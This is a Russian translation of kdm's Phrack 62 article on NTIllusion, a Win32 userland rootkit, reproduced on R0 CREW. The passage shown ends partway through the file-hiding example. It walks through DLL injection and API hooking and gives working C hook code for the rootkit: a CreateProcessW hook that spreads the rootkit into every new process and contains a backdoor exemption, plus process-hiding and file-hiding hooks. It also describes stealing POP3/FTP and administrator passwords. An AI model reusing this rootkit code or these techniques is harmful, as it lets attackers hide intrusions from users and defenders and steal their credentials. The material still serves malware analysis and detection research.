R0 CREW

(Phrack 62): Win32 Portable Userland Rootkit

Авторы: kdm
Переводчик: Izg0y
Оригинал (EN): www.phrack.org

NTIllusion: A portable Win32 userland rootkit

Содержание

  1. Введение
  2. Внедрение и прехват кода
    2.1. System Hooks
    2.2. CreateRemoteThread
    2.3. Манипуляции с контекстом потока
    2.4. Перенаправление таблицы импорта
    2.5. Внедрение безусловного перехода (jmp)
  3. Захват пользовательского пространства
    3.1. User land vs Kernel land rootkits
    3.2. Ограничения…
    3.3. …and constraints
    3.4. Установка глобольного перехвата для захвата уровня пользователя
    3.5. Local application take over
  4. Замена функций
    4.1. Скрытие процесса
    4.2. Скрытие файлов
    4.3. Реестр
    4.4. Всеми известный Netstat .
    [INDENT2] 4.4.1. В случаи с windows 2000
    [INDENT2] 4.4.1.1. Перехват GetTcpTable
    4.4.1.2. Победа над netstat
    4.4.1.3. Победа над Fport[/INDENT2]4.4.2. В случаи с windows XP[/INDENT2]4.5. Global TCP backdoor / password grabber
    4.6. Эскалация привилегий
    4.7. Stealth-модуль
  5. Заключение
    5.1. Вывод
    5.2. Greets
  6. Ссылки

Этот документ рассказывает о создании windows-rootkit’ов уровня пользователя. Первая часть повествует о некоторых базовых методах и демонстрирует внедрение и перехват кода. Оставшаяся часть текста рассказывает о стратегии и возможности создания stealth-кода в режиме пользователя. Для новичков существует более подробное описание с рассказом об основах перехвата и внедрения кода.

-------[ 1. Введение

Rootkit - программа, предназначенная для контроля над определённой машиной. Эту технологию часто используют для скрытия backdoor’ов и тому подобного ПО. В результате работы руткита пользователь не получает некоторую информацию о состоянии системы, и не может понять, что система взломана.

Существуют множество rootkit’ов. Некоторые основываются на самих принципах ОС и существуют на уровне ядра. Другие работают на уровне пользователя с более низкими возможностями, так как работают непосредственно с пользовательскими приложением, а не с системой. Rootkit’ы уровня пользователя оказались менее зависимыми от платформы, чем Rootkit’ы уровня ядра.

Под Windows существует множество способов остаться невидимым. Это - обучающая статья по руткитам, основанная на мощной реализации под названием [NTillusion rootkit].

Этот rootkit был разработан для работы под учётной записью windows c самыми низкими привилегиями. В действительности для работы привилегии Администратора ему не нужны, все действия происходят внутри процесса, запущенного текущим пользователем.
Другими словами - все программы, способные перечислять файлы, процессы, ключи реестра и используемые порты, оказываются под контролем и не способны выявлять маскируемые объекты. Rootkit, тем временем, ждёт возможности перехватить пароль администратора, позволяющий загрузить любой драйвер.

Как это работает?

Вся работа происходят в 2 этапа. Первый - внедрение кода rootkitа внутрь каждого пользовательского ПО и в завершение - замена всех необходимых функций своей реализацией. Всё это реализуется во время выполнения ПО, а не на жёстком диске над бинарными файлыми. Такой подход позволяет обойти windows file protection и некоторые антивирусные технологии, базирующиеся на слежении за контрольной суммой файлов. Rootkit был успешно протестирован под windows 2000/XP, но может также работать и под старыми версиями NT. Такая технология может быть портирована и под windows 9x/Me, но некоторые функции (VirtualAllocEx) будут утеряны или нестабильны (CreateRemoteThread).

Понимание этого “Введения” не может быть полным без прочтения других документов по данной теме. Данный механизм был давно реализован челом под ником Holy_Father в [HIDINGEN]. Однако в нашей реализации сделано по-другому. Фактически, rootkit действует на более высоком уровне и изменения происходят более результативно. В отличие от Hacker Defender ([HKDEF_RTK]), NTillusion не нуждается в правах администратора. Я предлагаю другой подход, который отличается способом выбора и подмены функций.

Это частично описано в 4ой части документа, в которой показан метод замены оригинальных функций. Как правило, большинство функций обращаются к аналогичным функциям ядра. Я надеюсь, этот документ покажет, что можно создать хороший stealth-механизм в рамках пользовательского пространства. С другой стороны, при замене API-функций люди стараются как можно “глубже” внедриться. У каждого способа есть свои плюсы и минусы. Плюсы видны при переносимости, если сравнивать с более низкоуровневыми разработками. NTillusion заменяет API-функции на более высоком уровне. Как дизайнеры интерфейса windows основываются на документированных функциях API, так и rootkit’ы заменяют основные API-вызовы. Таким образом, это избавляет нас от проверки версии ОС и делает rootkit универсальным. Кроме того в этом документе будет реализована эскалация привилегий, позволяющая перехватывать POP3/FTP трафик и получать авторизационные данные.

Здесь не только новые мысли: в разделе 4.7 показано как скрыть DLL, загруженную в какой-либо процесс. Обычно, это делалось путём внедрением модуля, перечислявшего API-функции внутри памяти процесса, что часто обнаруживало присутствие rootkit’а. Однако, я покажу возможность скрытия путём работы с недокументированными структурами, известными как Process Environment Block. После этого нам не следует волноваться о возможном обнаружении. Для проверки этой технологии я использовал rootkit detector, [VICE], и просканировал им свою систему. Загрузка VICE ( без установки rootkit ) заняла долгое время, после чего он выдал много ложных срабатываний на стандартные DLLs (kernel32/ntdll/…). После загрузки rootkit и применении этой техники, VICE всё так-же определял системные DLL как rootkit’ы, но каких либо записей о kNTIllusion.dll найдено не было.

-------[ 2. Внедрение и перехват кода

Цель этого текста - показать, как заменяются функции одна на другую.
Это предполагает получение контроля над процессом и изменение части его памяти.Пожалуй начнём с внедрения кода. Итак, для изменения поведения процесса необходим код в его адресном пространстве, выполняющий эту работу. К счастью, Windows проводит проверки для предотвращения чтения или записи памяти приложением без разрешения. Однако, программисты windows предусмотрели несколько путей для обхода внутренней защиты процессов и изменения других процессов во время их выполнения. Первый шаг к нашей задумке - это вызов API-функции OpenProcess. Если приложение имеет уровень безопасности, позволяющий делать этот вызов, то функция вернёт handle требуемого процесса, в противном случае доступ будет запрещён.
Получить требуемый уровень привилегий возможно, об этом мы раскажем ниже. В Windows NT, привилегии - это совокупность различных “флагов” предоставленных пользователю для ограничения его действий на некоторые части ОС. Это положительный фактор. Но есть и обратная сторона. Существует много способов внедрить в адресное пространство запущенного процесса чужой код используя вполне документируемые API-функции. Эти методы уже достаточно освещены, поэтому ниже только обзор.

-------[ 2.1. System Hooks

Наиболее известная техника - использование функции SetWindowsHookEx, которая устанавливает перехват сообщений на различные события в том или ином приложении. Когда используется system hook, то есть когда перехват установлен для всего пользовательского пространства, то система опирается на код, расположенный в dll, ОС внедряет эту dll во все запущенные процессы.
Например, если перехват установлен на сообщение WH_KEYBOARD, использующееся в частности в notepad, то ОС cпроецирует внедряемую dll в адресное пространство notepad.exe. Просто как дважды два…
Для более подробного ознакомления с этой технологией вы можете посмотреть информацию по [HOOKS] в [MSDN_HOOKS]. В основном, этой технологией пользуются для разработки патчей или автоматизации каких-либо действий. Следующий метод более красивей.

-------[ 2.2. CreateRemoteThread

Другим подарком от разработчиков windows является API-функция CreateRemoteThread. Само название говорит о то, что она позволяет создавать потоки в заданном процессе. Это хорошо объяснил Robert Kuster в [3WAYS]. Когда целевой процесс запущен в привилегированном контексте, rootkit может приобрести более высокие привилегии, вызвав SeDebugPrivilege. Для более подробной информации смотри код руткита. [NTillusion rootkit] Хоть этот метод и более интересен, это не столь широко применяемый способ и его достаточно просто пресечь. Смотри так же [REMOTETH] по теме. Более того, внедрение DLL этим способом будет легко обнаружено любой программой, способной перечислять модули процесса. Раздел 4.7 посвящен решению этой проблемы.

В следующем разделе представлен менее известный способ запуска кода в целевом процессе.

-------[ 2.3. Манипуляции с контекстом потоков

CreateRemoteThread - не единственная функция, позволяющая отлаживать запущенный процесс. Следующая техника основывается на перенаправлении кода программы по адресу с внедрённым кодом. Это осуществляется в три этапа. Первый - приостанавливается выполнение потока. Затем, используя VirtualAllocEx/WriteProcessMemory, внедряет код для выполнения в целевом процессе и заменяет некоторые адреса в памяти (в связи с изменением в памяти). Далее, он задаёт адрес следующей инструкции для выполнения в этом потоке (eip register) и запускает поток. После чего внедрённый код начинает своё выполнение.
После завершения своих функций внедрённый код передаёт управление следующей инструкции оригинального кода. Идея манипуляции с контекстом потока была реализована [LSD]. Существуют и другой способ, загрузить Dll в адресное пространство процесса.

К примеру в ключе по адресу HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\Cu rrentVersion\Windows\AppInit_DLLs содержатся DLL, которые загружаются во все процессы, использующие user32.dll. Кроме этого можно рассмотреть BHO - это плагины к стандартному браузеру, позволяющие загружать какой-либо код.

Но просто внедриться в процесс не достаточно. После получения доступа к памяти чужого процесса становится возможным модифировать используемые им функции. Код перехвата функций является важнейшей частью и должен работать максимально быстро. Представленные здесь методы имеют свои преимущества и недостатки. Что касается внедрения, то существует множество способов. Цель этого метода перенаправить вызов функций целевой программы, после её запуска. Для самой программы всё будет происходить так, будто она вызывает обычные функции. Но по факту вызываемые API будут перенаправлены.
Некоторые методы перехвата API основаны на базовых принципах, созданных разработчиками PE формата, упрощающих работу загрузчика при проецировании в память. Функции перенаправления начинают выполняться сразу, после того как внедрённый код начинает выполняться. Для понимания работы этого метода требуется понимание РЕ-формата; посмотри [PE] и смело продолжай, следующий метод будет более полезным.

-------[ 2.4. Перенаправление таблицы импорта

После внедрения нашего кода в память приложения мы способны изменять его поведение. Мы используем технику “перехват API”, которая предполагает замену API нашей подпрограммой. Самый распространённый способ состоит в том, чтобы изменить адреса в таблице импорта того или иного модуля. Когда программа начинает своё выполнение, её “зоны” проецируются в память, и адреса функций обновляются в зависимости от версии windows и сервиспака. В PE формате предусмотрено отличное решение для этой операции без внесения изменений в каждый вызов. При компиляции программы, её вызовы не указывают прямо на адрес в API в памяти. Она использует переход по dword-указателю, который указывает на таблицу импорта (IAT), в которой содержится адрес функции. Во время загрузки, требуется только исправить адреса IAT для всех нужных функций. Эта простая подмена может дать полный контроль, т. к. все последующие вызовы функций будут также переопределены. Это общее представление о технике, подробнее можно ознакомится в [IVANOV] и [UNLEASHED]. Но изменение IAT далеко не лучший вариант. Не явные вызовы могут быть пропущены. Есть только одно решение… вставка безусловных переходов!

-------[ 2.5. Внедрение безусловного перехода (jmp)

Эта техника реализует изменение машинного кода той или иной API-функции, для перехода на “заменную” функцию. Другими словами - все перехваченные функции ( неважно как они вызваны ) будут перенаправлены на “заменную” функцию.Такое перенаправление функций используется в Microsoft Detours Library [DETOURS]. Теоретически, реализация техники внедрения безусловного перехода проста: вы просто устанавливаете точку входа в API-функции на ваш код. Эта техника лишает нас возможности вызова оригинальных API. Однако есть два пути решения этой неприятности:
Во первых, это метод, реализованный в знаменитом hxdef rootkit, от Hacker Defender с открытым кодом [HKDEF_RTK]. Идея заключается в том чтоб сохранить переписанную инструкцию и при необходимости восстановить оригинальную API, но существует вероятность неудачи при обратной перезаписи. Другая проблема заключается в том что какой-то поток может вызвать функцию в тот момент когда она будет восстановлена.
Как упоминал создатель Holy_Father, существует вероятность пропустить некоторые вызовы при использовании этого метода.

Однако есть ещё один способ вызова оригинальных API.
Он предполагает создание буфера, содержащего оригинальную версию функции и перезаписи первых её пяти байт переходом на адрес обработчика. Этот переход позволяет продолжить выполнение первоначальной функции только после безусловного перехода, позволяющий перенаправить на замену функции.

Но это далеко не так. Деталь, которую я не упомянул: проблема дизассемблирования инструкций. В машинном коде инструкции имеют разную длину. Как можно быть уверенным, что записав безусловный пятибайтовый переход мы не нарушим целевой код? (“cutting an instruction in half”)? Ответ прост: использовать просто дизассемблер длин-инструкций. Это позволит восстановить многие инструкции для необходимые для достижения размера в 5 байт, т. е. области для вставки нашего перехода. Один из самых используемых дизассемблеров в rootkit’ах создал Z0MbiE (see [ZOMBIE2]). Этот метод перехвата частично освящен Holy_Father. Взгляните на [HKDEF], если интересует.
Это основные моменты, которые стоило рассмотреть. Теперь мы готовы создать win32 rootkit используя эти технологии. Приступим!

-------[ 3. User land take over

-------[ 3.1 User land vs Kernel land rootkits

В большинстве случаев, для достижения своей цели rootkit’ы уровня ядра
заменяют оригинальные API своей реализацией, меняя адреса в Service Descriptor Table (SDT). В случае обычной Windows-системы беспокоиться не о чем, так как раз установленный перехват будет подменять все последующие обращения к процессам. Это не относится к rootkit’ам, действующим на уровне пользователя. В действительности, перехват не глобальный как в случаи с ядерными, и rootkit должен управлять кодом внутри каждого процесса, способного его обнаружить. Многие устанавливают перехват во всех процессах, в том числе и системных. Такой перехват требует особой реализации внедрения, и должен быть нацелен на низкоуровневые API-функции. Например, мы хотим скрыть какие нибудь каталоги на жёстком диске от просмотра через explorer. Беглый взгляд на таблицу импорта explorer.exe показывает, что он использует FindFirstFileA/W и FindNextFileA/W. Может показаться утомительным перехватывать все эти функции, но если начать разбираться, то выяснится, что все они основаны на native API ntdll.ZwQueryDirectoryFile, и гораздо проще перехватывать именно её.
Это справедливо для моей версии windows, но в рамках обеспечения совместимости это не лучшая затея. Чем ниже уровнем функция, тем больше она может изменять. Кроме того, низкоуровневые функции часто не документированы. Итак, у нас есть вариант с подменой на низком уровне - более точный и более опасный, и вариант с подменой на высоком уровне - менее точный, но более простой в реализации.

NTillusion подменяет API на высоком уровне, поскольку не предназначен для модификации в системных процессах. У каждого способа есть свои плюсы и минусы. Далее описываются ограничения и препятствия, которые учитывались при написании руткита.

-------[ 3.2 Ограничения…

Rootkit создавался для использования на машине под текущей учётной записью. Это необходимо прежде всего в тех случаях, когда привилегии Администратора не доступны, и показывает, что для скрытия совершенно необязательно иметь их. Пользователи windows как правило работают с максимально возможными правами, вместо того чтобы сидеть под ограниченной учётной записью и использовать “runas” при необходимости. Итак, даже если пользователь не является Администратором, то вероятно, что это не на всех системах. В противном случае нужно переходить в режим ядра. Руткит сделан таким образом, чтобы требовались привилегии только текущего пользователя для скрытия, будь это привилегии администратора или нет.
Затем он ждёт, когда пользователь воспользуется командой “runas”, для эскалации привилегий. Он также может следить за трафиком и динамически “вылавливать” пароли от pop3/ftp. Можно и так позлобничать…

-------[ 3.3 …и препятствия

Как вы знаете, windows содержит защиту процессов, так что процесс не получит доступа к другому процессу, если они не принадлежат к одной группе, либо нет привилегий администратора или отладчика. Таким образом, руткит не сможет повлиять на текущие пользовательские процессы. С другой стороны, получив привилегии Администратора, можно добавить себя в HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run и скрыть своё присутствие в этом ключе реестра. Из-за архитектуры rootkit, процессы, имеющие права системы, могут обнаружить эту ветку без каких-либо изменений. Так, удалённые администраторы могу обнаружить rootkit, как и FTP или HTTP серверы, запущенные как сервисы. Решение этой проблемы - воздействие на системные процессы, но эта задача похожа на игру в кошки-мышки.

-------[ 3.4 Установка глобального перехвата для захвата уровня пользователя

Чтобы быть эффективным, rootkit должен воздействовать на все видимые процессы, способные его обнаружить. Заражение всех работающих во время загрузки руткита процессов - не лучшая идея, так как это не повлияет на процессы, которые будут запущены позднее.
Отличный способ достичь этого заключается в том, чтобы установить глобальный перехват, используя SetWindowsHookEx для события WH_CBT.

Таким образом, dll rootkit будет внедрён во все запущенные графические процессы, как только они появятся на экране.
К сожалению, WH_CBT сработает только в процессах использующих user32.dll, но не принесёт должного эффекта в консольных процессах.
Речь идёт о стандартных windows программах, таких как: cmd, netstat и т. п.
Для должного эффекта rootkit должен получать информацию о вновь создаваемых процессах и внедряться в него. Это достигается перехватом функции CreateProcessW во всех процессах. Таким образом rootkit будет работать во всех вновь созданных процессах. Такое сочетание прекрасно охватывает весь спектр ситуаций: графические или консольные процессы explorer, taskmanager или любые другие.
Он также имеет возможность внедрения rootkit в taskmanager, когда пользователь нажимает Ctrl+Alt+Del. В этом случаи, taskmanager создаётся winlogon, который не взаимодействует с rootkit. Но системный перехват и внедрение произойдут как только он создастся, поскольку это графический процесс.Чтобы предотвратить повторное внедрение, rootkit модифицирует pDosHeader->e_csum на эквивалентную NTI_SIGNATURE. Когда Dll загружена, то первым делым проверяет наличие этой сигнатуры и на основе этого принимает необходимое решение. Это просто мера безопасности, позволяющая убедиться в том, что проверка DllMain подверждает совпадение причны вызова DllMain с DLL_PROCESS_ATTACH. Это событие происходит один раз в момент проецирования DLL в память приложения, последующие вызовы посредством LoadLibrary будут только отмечены в счетчике нагрузки и помечены как DLL_THREAD_ATTACH.

Нижеследующий код, заменяющий CreateProcessW, используется в NTIllusion rootkit. Он содержит backdoor: если имя приложения или командная стркоа содержат RTK_FILE_CHAR, то этот процесс не перехватывается, таким образом некоторые программы остаются не затронуты действиями rootkit. Это используется для запуска скрытых процессов из оболочки, которая осуществляет поиск перед делегированием создания процесса CreateProcessW.

---------------------- ПРИМЕР 1 -----------------------------
BOOL WINAPI MyCreateProcessW(LPCTSTR lpApplicationName,
LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles,
DWORD dwCreationFlags, LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation)
{
int bResult, bInject=1;
char msg[1024], cmdline[256], appname[256];


/* Разрешается использование функции CreateProcessW, если её адрес не
был перехвачен в IAT. Это происходит, когда функция не импортируется из IAT,
но используется в реальном времени с помощью GetProcAddresss. */

if(!fCreateProcessW)
{
fCreateProcessW = (FARPROC)
fGetProcAddress(GetModuleHandle("kernel32.dll"),
"CreateProcessW");
if(!fCreateProcessW) return 0;
}

/* Очистка параметров */
my_memset(msg, 0, 1024);
my_memset(cmdline, 0, 256);
my_memset(appname, 0, 256);

/* Преобразуем имя приложения и командную строку из unicode : */
WideCharToMultiByte(CP_ACP, 0,(const unsigned short *)
lpApplicationName, -1, appname, 255,NULL, NULL);
WideCharToMultiByte(CP_ACP, 0,(const unsigned short *)
lpCommandLine, -1, cmdline, 255,NULL, NULL);

/* Вызываем первую оригинальную функцию, в приостановленном режиме */
bResult = (int) fCreateProcessW((const unsigned short *)
lpApplicationName,
(unsigned short *)lpCommandLine, lpProcessAttributes,
lpThreadAttributes, bInheritHandles, CREATE_SUSPENDED
/*dwCreationFlags*/, lpEnvironment,
(const unsigned short*)lpCurrentDirectory,
(struct _STARTUPINFOW *)lpStartupInfo,
lpProcessInformation);

/* внедрение в создаваемый процесс, если его имя или командная строка
не содержит RTK_FILE_CHAR */
if(bResult)
{
if(
(lpCommandLine && strstr((char*)cmdline,(char*)RTK_FILE_CHAR)) ||
(lpApplicationName && strstr((char*)appname,(char*)RTK_FILE_CHAR))
)
{
OutputString("\n[i] CreateProcessW: Giving true sight to
process '%s'...\n", (char*)appname);
WakeUpProcess(lpProcessInformation->dwProcessId);
bInject = 0;
}
if(bInject)
InjectDll(lpProcessInformation->hProcess,
(char*)kNTIDllPath);

CloseHandle(lpProcessInformation->hProcess);
CloseHandle(lpProcessInformation->hThread);

}
return bResult;
}
---------------------- КОНЕЦ ПРИМЕРА 1 -----------------------------

Имейте в виду, что дочерний процесс создаётся в приостановленном режиме, а затем, используя CreateRemoteThread, внедряется Dll. DLL перехватывает функции в потоках процесса после его возобновления его работы. Это гарантирует, что процесс не выполнит код по время его модификации.

-------[ 3.5 Local application take over

Внедрение во все процессы системы - является первым шагом к покорению пользовательского пространства. При возможности действовать везде, нужно контролировать каждый вновь загружаемый модуль, чтобы убедиться в перехвате функций, который осуществляет собственно скрытие. Поэтому настоятельно рекомендуется фильтровать вызовы LoadLibraryA/W/Ex, для перехвата модулей сразу после загрузки в память. Следующая функция демонстрирует замену LoadLibraryA для исключения возможности “пропустить” какую-либо функцию.

---------------------- ПРИМЕР 2 -----------------------------
/* LoadLibrary : не допускает возможность пропустить вызов функции */
HINSTANCE WINAPI MyLoadLibrary( LPCTSTR lpLibFileName )
{
HINSTANCE hInst = NULL; /* DLL handle (by LoadLibrary)*/
HMODULE hMod = NULL; /* DLL handle (by GetModuleHandle) */
char *lDll = NULL; /* dll path in lower case */

/* Получаем handle модуля */
hMod = GetModuleHandle(lpLibFileName);

/* Загрузка модуля */
hInst = (HINSTANCE) fLoadLibrary(lpLibFileName);


/* Всё ништяк? */
if(hInst)
{

/* Если DLL была загружена, не устанавливать время перехвата */

if(hMod==NULL)
{
/* Копирование пути Dll для сравнения в нижнем регистре */
lDll = _strdup( (char*)lpLibFileName );
if(!lDll)
goto end;
/* Перевод в нижний регистр */
_strlwr(lDll);

/* Вызов hook function */
SetUpHooks((int)NTI_ON_NEW_DLL, (char*)lDll);

free(lDll);
}
}

end:
return hInst;
}
---------------------- КОНЕЦ ПРИМЕРА 2 -----------------------------

As the hijacking method used is entry point rewriting, we must check that the DLL has not been yet loaded before performing the hooking.

Так как для перехвата используется перезапись точки входа, нужно удостовериться в том, что DLL не была загружена ранее. В противном случае, это может вызвать бесконечный цикл при вызове оригинальной функции. Частично с этой задачей справляется SetUpHooks, перехватывая уже загруженный модуль только при запуске программы.

О GetProcAddress:
Первая версия NTillusion rootkit использовала подмену записей в IAT для контроля над файлами, реестром и сетевыми API. Под winXP всё работало отлично, но когда я стал проверять под win2000, то заметил странность в explorer IAT. Фактически, загрузчик неправильно заполнял IAT для нескольких CreateProcessW, так что записанный адрес не всегда соответствовал адресу точки входа в API [EXPLORIAT]. Сканирование IAT по имени API на предмет её адреса не решает проблему. Создаётся впечатление, что explorer ведёт себя странно… Поэтому я отказался от подмены в IAT, требовавшей перехватывать GetProcAddress для предотвращения возможности “обхода” перехвата, в пользу вставки безусловного перехода. В этом случае нет нужды фильтровать обращения к API. Во всяком случае, вы можите попробовать подменить GetProcAddress и передавать данные для отладки каждого вызова. Количество вызовов GetProcAddress в explorer грандиозно! и его исследование будет весьма поучительно.

-------[ 4. Замена функций

Здесь будет описана сама интересная часть NTIllusion rootkit - замена основных функций.

-------[ 4.1. Скрытие процесса

Основная цель, о которой здесь говорится, это скрытие процесса от taskmanager. Изучение его таблицы импорта показало, что он содержит вызовы ntdll.NtQuerySystemInformation, поэтому, подмена API на высоком уровне бесполезна, что не оставляет нам выбора. Цель замены функции состоит в том, чтобы скрыть присутствие процесса, содержащего в имени строчку RTK_PROCESS_CHAR. Получение списка процессов осуществляется вызовом [NtQuerySystemInformation] API.

NTSTATUS NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);

Функция NtQuerySystemInformation возвращает различную информацию о системе. Когда она вызывается с параметром SystemInformationClass, которая эквивалентна SystemProcessInformation, то API вернёт массив структур SYSTEM_PROCESS_INFORMATION, по одной структуре на каждый процесс, выполняемый в системе. Эти структуры содержат различную информацию о используемых процессом ресурсах, в том числе - количество описателей ( handles ), используемых процессом, пик использования файла подкачки, число страниц памяти, занимаемых процессом, и всё что описано в MSDN. Функция возвращает массив структур SYSTEM_PROCESS_INFORMATION при вызве её с параметром SystemInformation.

typedef struct _SYSTEM_PROCESS_INFORMATION
{
DWORD NextEntryDelta;
DWORD dThreadCount;
DWORD dReserved01;
DWORD dReserved02;
DWORD dReserved03;
DWORD dReserved04;
DWORD dReserved05;
DWORD dReserved06;
FILETIME ftCreateTime; /* relative to 01-01-1601 */
FILETIME ftUserTime; /* 100 nsec units */
FILETIME ftKernelTime; /* 100 nsec units */
UNICODE_STRING ProcessName;
DWORD BasePriority;
DWORD dUniqueProcessId;
DWORD dParentProcessID;
DWORD dHandleCount;
DWORD dReserved07;
DWORD dReserved08;
DWORD VmCounters;
DWORD dCommitCharge;
SYSTEM_THREAD_INFORMATION ThreadInfos[1];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

Скрытие процесса возможно если “поиграться” со значением структуры NextEntryDelta, которая представляет собой смещение к следующей SYSTEM_PROCESS_INFORMATION. Конец списка NextEntryDelta отмечен нулём.

---------------------- ПРИМЕР 3 -----------------------------
/* MyNtQuerySystemInformation : устанавливает перехват на уровне системного
запроса для маскировки _nti* процессов.
Спасибо R-e-d за эту функцию для rkNT rootkit.
(проверка ошибок удалена) */

DWORD WINAPI MyNtQuerySystemInformation(DWORD SystemInformationClass,
PVOID SystemInformation, ULONG SystemInformationLength,
PULONG ReturnLength)
{
PSYSTEM_PROCESS_INFORMATION pSpiCurrent, pSpiPrec;
char *pname = NULL;
DWORD rc;

/* Первым делом требуется получить значение, возвращаемое функцией */
rc = fNtQuerySystemInformation(SystemInformationClass,
SystemInformation, SystemInformationLength, ReturnLength);

/* В случая успеха - сортируем */
if (rc == STATUS_SUCCESS)
{
/* информация о системе */
switch (SystemInformationClass)
{
/* список процессов */
case SystemProcessInformation:
pSpiCurrent = pSpiPrec = (PSYSTEM_PROCESS_INFORMATION)
SystemInformation;

while (1)
{
/* распределяем память для сохранения имени процесса в
8битном ANSI */
pname = (char *) GlobalAlloc(GMEM_ZEROINIT,
pSpiCurrent->ProcessName.Length + 2);

/* Convert unicode string to ainsi */
WideCharToMultiByte(CP_ACP, 0,
pSpiCurrent->ProcessName.Buffer,
pSpiCurrent->ProcessName.Length + 1,
pname, pSpiCurrent->ProcessName.Length + 1,
NULL, NULL);

/* если "скрытый" процесс */
if(!_strnicmp((char*)pname, RTK_PROCESS_CHAR,
strlen(RTK_PROCESS_CHAR)))
{
/* Первый процесс */
if (pSpiCurrent->NextEntryDelta == 0)
{
pSpiPrec->NextEntryDelta = 0;
break;
}
else
{
pSpiPrec->NextEntryDelta +=
pSpiCurrent->NextEntryDelta;

pSpiCurrent =
(PSYSTEM_PROCESS_INFORMATION) ((PCHAR)
pSpiCurrent +
pSpiCurrent->NextEntryDelta);
}
}
else
{
if (pSpiCurrent->NextEntryDelta == 0) break;
pSpiPrec = pSpiCurrent;

/* Просматриваем список */
pSpiCurrent = (PSYSTEM_PROCESS_INFORMATION)
((PCHAR) pSpiCurrent +
pSpiCurrent->NextEntryDelta);
}

GlobalFree(pname);
} /* /while */
break;
} /* /switch */
} /* /if */

return (rc);
}
---------------------- КОНЕЦ ПРИМЕРА 3 -----------------------------

Как я говорил раньше, замена NtQuerySystemInformation является единственным решением. Это не совсем правда. Напротив, ясно что перехват Process32First/Next не поможет, но есть другой выход. Сначала я перехватил SendMessage, тем самым скрывшись на уровне контроля за ListBox. Это довольно специфичный подход, к тому же недокументированный. Исследование поведения процесса taskmanager, с помощью Spy++, показало что он использует строку состояния бездействующих системных процессов, и изменяет своё имя при отображении нового процесса, отправляя сообщение LVM_SETITEMTEXT.

Тоесть вначале, он перезаписывает содержимое ListBox, и добавляет новый “Idle process” посылая сообщение LVM_INSERTITEMW. Фильтруя эти 2 типа сообщения, можно контролировать то что отображается в taskmanager. Не профессионально, зато эффективно.

Следующая функция заменяет SendMessageW внутри task manager для возможности скрытия процесса.

---------------------- ПРИМЕР 4 -----------------------------
/* MySendMessageW : устанавливает перехват на уровне отображения (ListBox)
для маскировки _* процессов. */
LRESULT WINAPI MySendMessageW(
HWND hWnd, /* handle окна назначения */
UINT Msg, /* сообщение */
WPARAM wParam, /* первый параметр сообщения */
LPARAM lParam) /* второй параметр сообщения */
{
LPLVITEM pit; /* указатель на структуру LVITEM */

/* Фильтр событий */
if( Msg==LVM_SETITEM || Msg==LVM_INSERTITEMW ||
Msg==LVM_SETITEMTEXTW )
{
/* Скрываем процессы, имя которых начинается с '_'*/
if( ((char)(pit->pszText))=='_' )
{
hWnd=Msg=wParam=lParam=NULL;
return 0;
}
}

/* иначе вызываем оригинальную функцию */
return fSendMessageW(hWnd,Msg,wParam,lParam);
}
---------------------- КОНЕЦ ПРИМЕРА 4 -----------------------------

Это очень высокий уровень, но работать будет только для taskmgr.exe.

-------[ 4.2. Скрытие файлов

Другой актуальный вопрос - это скрытие файлов. Как говорилось выше, я выбрал своей целью перехват FindFirstFileA/W и FindNextFileA/W. Этого будет достаточно для контроля над explorer, диалоговыми окнами и прочего, основанного на Common Controls.

Согласно [MSDN] функция FindFirstFile ищет файлы и папки с заданным именем.

HANDLE FindFirstFile(
LPCTSTR lpFileName,
LPWIN32_FIND_DATA lpFindFileData
);

Функция получает два параметра. Строчку, завершающуюся нулём, которая содержит имя каталога, папки или путь ( может включать симолы * и ?): lpFileName и указатель на структуру WIN32_FIND_DATA, которая получит информацию о найденных файлах или каталогах. Если функция выполнилась успешно, то вернёт описатель, используемый при вызове FindNextFile или FindClose. Если функция завершилась с ошибкой, то она вернёт значение INVALID_HANDLE_VALUE.

Функция FindFirstFile вызывается первой при поиске файлов. Если она выолнилась успешно, то поиск может быть продолжен вызовом FindNextFile.

BOOL FindNextFile(
HANDLE hFindFile,
LPWIN32_FIND_DATA lpFindFileData
);

В hFindFile описатель полученый от предыдущего вызова FindFirstFile или FindFirstFileEx. lpFindFileData указатель на структуру WIN32_FIND_DATA, каторая получает данные о найденных файлах и каталогах. Структура может быть использована при последующих вызовах FindNextFile. В случаи успешного выполнения, функция вернёт значение отличное от нуля.

Давайте рассмотрим структуру WIN32_FIND_DATA. Важным её членом является cFileName содержащий строку с завершающимся нулём с именем файла.

typedef struct _WIN32_FIND_DATA {
DWORD dwFileAttributes;
FILETIME ftCreationTime;
FILETIME ftLastAccessTime;
FILETIME ftLastWriteTime;
DWORD nFileSizeHigh;
DWORD nFileSizeLow;
DWORD dwReserved0;
DWORD dwReserved1;
TCHAR cFileName[MAX_PATH]; /* Полное имя файла */
TCHAR cAlternateFileName[14]; /* Имя файла в формате 8.3
(filename.ext) формат имени. */
} WIN32_FIND_DATA,
*PWIN32_FIND_DATA;

Для создания перечня папок, программа вызывает FindFirstFile, и вызывает FindNextFile, используя полученный описатель, до тех пор пока не возвратит 0. AINSI и WIDE функции (A/W) из FindFirst/NextFile работают аналогично, за исключением того что в Wide версия вызывает WideCharToMultiByte, для перевода строки из unicode в ainsi.

---------------------- ПРИМЕР 5 -----------------------------
/* MyFindFirstFileA : скрывает защищенные файлы от перечисления
(проверка ошибок удалена)*/
HANDLE WINAPI MyFindFirstFileA(
LPCTSTR lpFileName,
LPWIN32_FIND_DATA lpFindFileData)
{
HANDLE hret= (HANDLE)1000; /* Возвращаемый описатель */
int go_on=1; /* флаг петли */

/* Процесс запроса */
hret = (HANDLE) fFindFirstFileA(lpFileName, lpFindFileData);

/* Фильтрация: петля, когда имеется скрытый файл */
while( go_on &&
!_strnicmp(lpFindFileData->cFileName, RTK_FILE_CHAR,
strlen(RTK_FILE_CHAR)))
{
go_on = fFindNextFileA(hret, lpFindFileData);
}

/* Oops, больше нет файлов? */
if(!go_on)
